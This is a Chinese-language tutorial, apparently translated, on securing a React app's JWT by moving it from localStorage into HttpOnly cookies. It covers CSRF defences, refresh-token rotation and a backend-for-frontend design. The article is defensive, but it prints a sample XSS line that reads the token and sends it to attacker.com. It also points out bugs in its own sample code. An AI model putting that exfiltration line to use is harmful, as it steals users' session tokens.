将 React 应用的 JWT 从 localStorage 移至 HttpOnly Cookie 中
了解为何 localStorage 中的 JWT 容易受到任何 XSS 攻击,以及如何通过带 SameSite 属性、定期轮换和 BFF 机制降低风险,还有 React 应用中仍存在的哪些隐患。
来源: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
React 应用存储访问令牌的位置决定了跨站脚本漏洞可能带来的损失程度。存放在 localStorage 中的 JWT 可以被页面上的任何脚本读取并窃取;而存放在 HttpOnly Cookie 中的 JWT 则无法被读取,不过 Cookie 会引发跨站请求伪造的问题。下文将对比这两种存储方式,介绍基于 Express 后端的 Cookie 存储方案,以及用于完善该方案的令牌轮换、CSRF 防护和后端为前端服务技术。
两种存储选项,两种威胁模型
浏览器不会区分用户自身的脚本与被注入的脚本,因此 JWT 的两种常见存储位置所面临的风险也有所不同:
- localStorage 可以被同一域名的任何 JavaScript 代码读取。其威胁为跨站脚本攻击,相应的缓解措施包括实施严格的 CSP 策略以及内容净化。
SameSite属性和CSRF令牌。为何localStorage会引发XSS进而导致账户被盗
任何在您的域名上运行的脚本都需要两步操作才能窃取令牌:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
注入的代码会通过比团队预期的更多途径进入React项目:
- 使用您无法控制的内容通过
dangerouslySetInnerHTML函数。 - 被篡改的npm包,如
event-stream和ua-parser-js事件中出现的那样。 - 来自外部CDN的被篡改脚本。
- 未进行内容过滤的Markdown渲染器。
- 向页面注入代码的浏览器扩展。
JSX会对插值字符串进行转义,但一旦代码选择不使用该机制——通常是为了渲染BIOS信息或富文本内容——这种保护作用就会消失:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
净化工具虽能起到辅助作用,但也存在被绕过的情形。作为参考,这里是一个常见的localStorage客户端:用于存储和读取令牌的辅助函数,以及一个会添加Bearer标头的封装层。
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
这种方法很简单,但却无法具备XSS防护能力,因为其设计要求JavaScript必须能够读取该令牌。
将HttpOnly Cookie设为默认选项
服务器负责设置该Cookie,各项属性分别弥补了不同的安全漏洞:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnly可防止该Cookie被document.cookie及所有脚本访问到。Secure可限制该Cookie仅在HTTPS环境下使用。SameSite=Strict可防止浏览器将其附加到其他网站发起的请求中。
Max-Age=900 会使访问令牌的有效期为15分钟。客户端不再操作该令牌
React会移除相关的存储辅助功能及请求头。关键配置为 credentials: 'include',它会让 fetch 传递Cookie。当收到 401 响应时,封装层会重新发起请求,或跳转至登录页面。
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
在生产环境中,应将重试次数限制为一次,这样即使API仍返回 401 但“成功”刷新的情况也不会无限递归;同时,如单次刷新解决方案中所述,可在并发故障间共享同一正在处理的刷新请求。
Express端
在登录时,服务器会使用不同的密钥分别生成一个15分钟的访问令牌和一个7天的刷新令牌,同时存储刷新令牌的哈希值,并设置这两个cookie。刷新cookie使用path: '/auth/refresh',因此只会发送到该端点。刷新处理程序会验证JWT,通过bcrypt将其与存储的哈希值进行比对,然后生成新的访问cookie。
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
在重新使用之前:需导入bcrypt;注意刷新令牌的配置中硬编码了secure: true,而登录时则会根据环境变量判断;此外res.clearCookie('refresh_token')也必须指定path: '/auth/refresh',否则该cookie实际上并未被删除。
SameSite机制下的CSRF问题
CSRF攻击利用了Cookie会自动传输这一特性。SameSite属性可在浏览器端解决大部分问题,而基于Chromium的浏览器会将未设置该属性的Cookie视为Lax模式。对于单页应用而言:
- 当前端与API处于同一域名时,选择
Strict模式。 - 当用户通过外部链接进入应用且需在首次导航时完成登录时,选择
Lax模式。 - 除非确实需要跨站点Cookie并了解其后果,否则避免使用
None模式。
“站点”指的是可注册的域名,因此即使子域名被攻破,仍属于同一站点。
添加双重提交令牌
为增强防御能力,服务器会在可读取的Cookie中设置一个随机值,React会将该值复制到X-CSRF-Token请求头中,若两者不一致,服务器就会拒绝该请求。
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
根据同源策略,伪造页面无法读取用户的cookies,因此也无法生成相应的请求头。在设置了SameSite=Strict且CORS限制严格的情况下,这种做法往往多余,但仍是防止配置错误的有效保障。
刷新令牌的轮换与重复使用检测
较短的访问令牌搭配较长的刷新令牌是常见的配置方式,但一旦刷新令牌被盗,仍可让攻击者获得数天的访问权限。通过轮换机制,每次刷新都会生成新的刷新令牌并使旧令牌失效;如果已作废的令牌再次出现,说明有人在重复使用它,此时应立即撤销该账户的所有会话。
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
首先修复一个错误:在 if (!user) 代码块中,程序会对空值调用 revokeAllUserTokens(user.id)。真正的重用检测需要找到已失效令牌的所有者,通常是通过“令牌家族”记录来实现的。当两个标签页同时刷新时可能会出现误报,设置短暂的宽限期有助于解决此问题。刷新令牌策略指南进一步介绍了服务器端的处理方法。
利用 BFF 避免令牌出现在客户端
前端专用后端是位于 React 与真实 API 之间的轻量级服务器:
React App → BFF (Next.js API routes / Express) → Actual API
它使用OAuth流程(带PKCE的授权码模式),将令牌存储在加密的HttpOnly Cookie中,处理CSRF攻击,并由于浏览器仅会访问自身域名而省去了大部分CORS配置。在Next.js中,路由处理程序可以将凭证转发给认证服务,再将返回的令牌转换为Cookie:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
完整版本还会存储刷新令牌,并在解析之前检查authRes.ok的状态。当使用Google或GitHub等第三方OAuth服务、API位于其他域名、希望将认证逻辑移出代码包,或已经在使用Next.js时,BFF模式较为适用。
选择配置方案
对于大多数同域单页应用而言,这就是基础配置:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
对于跨域API或移动客户端,只有在你能够接受XSS风险并采取相应措施弥补时,localStorage才是可行的选择:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
对于最严格的要求或企业级协议,BFF会从浏览器中移除令牌:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
基于Cookie的认证检查清单
- 将认证Cookie设置为
HttpOnly、Secure以及SameSite=Strict。 - 访问令牌的有效期为5到15分钟。
- 启用刷新令牌轮换机制,并具备重复使用检测功能。
- 在每次
fetch或axios请求中都设置credentials: 'include'。 - 同时启用
Access-Control-Allow-Credentials: true并指定明确的来源地址。 - 避免在日志和分析数据中包含Cookie信息。
- 在
/logout接口中从服务器端清除Cookie,可选地使用Clear-Site-Data: "cookies"指令。 - 无论如何都需配置内容安全策略。
强化后的响应可能会包含以下标头:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
总结
HttpOnly Cookie并不能让XSS风险消失:注入的脚本在页面打开时仍可发送经过身份验证的请求。但它无法将令牌带离当前页面并在其他地方重复使用。正是这一差异,再加上Cookie的短有效期和定期轮换机制,使得它们成为Web应用的合适默认选择,不过仍需配合CSP使用。CSRF问题主要通过SameSite属性以及可选的双重提交令牌来解决,而XSS在依赖众多的React代码中依然是一个持续存在的风险。当跨域认证使得使用Cookie变得不便时,不妨构建一个小型BFF,而非退而求其次地使用localStorage。